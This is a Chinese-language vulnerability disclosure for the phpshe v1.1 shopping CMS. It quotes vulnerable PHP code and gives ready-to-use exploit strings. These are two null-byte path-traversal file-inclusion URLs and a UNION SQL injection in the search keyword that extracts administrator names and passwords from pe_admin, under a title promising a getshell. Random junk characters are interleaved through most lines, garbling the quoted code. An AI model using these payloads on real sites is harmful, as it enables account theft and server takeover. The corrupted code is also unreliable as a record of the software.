phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
& z9 C  N& C6 b1 Y5 ~& m/* ========================
/* By: : Kn1f3
$ l$ X) ?. l5 g% }9 k9 @/* E-Mail : 681796@qq.com
; d9 v; N0 {6 i, x( U, W/*******************************************************/
0×00 整体大概参数传输

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- h! S% ]& Y6 w! I+ }; J5 q( F4 I//common.php
3 y! k& z/ N( @! T8 Tif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- d% h' v: S8 o5 ]/ v3 H# H1 s!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
4 e4 ?: B( B& `* r3 ~, z% k# `!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
. Y! e, e4 d( G% `, s!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
9 t) [3 D& L5 l2 f+ d5 {!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞


//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ s3 a! L2 l& g4 X, Q& fpe_result();
7 z, K2 u% i) f. c# C2 n0 ?, @' b?>
//common 文件 第15行开始
3 j8 t2 _8 S- ?( Y. Kurl路由配置
/ G  |$ b3 i5 j) c$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- k. `0 K3 p' B5 w* N$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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( Z  \) B5 b3 m  h2 p- C3 Z 0×02 搜索注入

7 w0 [$ P; x9 Y. x9 n) }+ q" q<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
9 n4 J- m( T, R9 Q# P0 J//搜索
$sqlwhere = " and `product_state` = 1";
+ |% c, k" w+ j- M% f8 {pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 u2 q! ?- g6 ?# r}
; h0 |* f5 l. ^1 o& C4 q* J" O& k$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
5 C  F2 I( |3 m  i! l- |if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
  P$ k) u5 R. C% h- h9 r$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
: G+ R, Q0 |& ~" c//当前路径
$nowpath = category_path($category_id);
$ ~! v. E6 F+ ~5 j4 R  _$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
4 l0 A6 b7 E, k0 k- W! T4 |//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
7 s, B! q+ i0 m5 g. e//处理条件语句
$sqlwhere = $this->_dowhere($where);
* v( F/ d3 Y6 u, [& sreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
# D! ^; ]) y' F9 E9 d}
$ _" ~% L0 y/ Y$ D% V//exp
' Q0 ]1 k6 g: cproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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& i' f  C' @/ ^) \* W- V. \3 u0×03 包含漏洞2
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  ~  U' i4 S9 h' V<code id="code3">

//order.php

case 'pay':

8 C3 D! R) k( ?' A$ a& _$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

1 N' q0 |% ~% a% N* W  U$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

1 |4 h6 D3 D$ \: ~9 }4 W}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

( w0 w. j+ Y/ j' y; l' Y# \# C4 F!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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  D# W% f$ O) x, S}

, O# t8 j9 u% becho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

3 a; _# e+ h! b* Z/ B. m}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

$seo = pe_seo('选择支付方式');

& S/ I: d. h/ h7 w* _1 D) f/ s# Z7 ninclude(pe_tpl('order_pay.html'));

$ f$ N. T' v, z+ s" Obreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>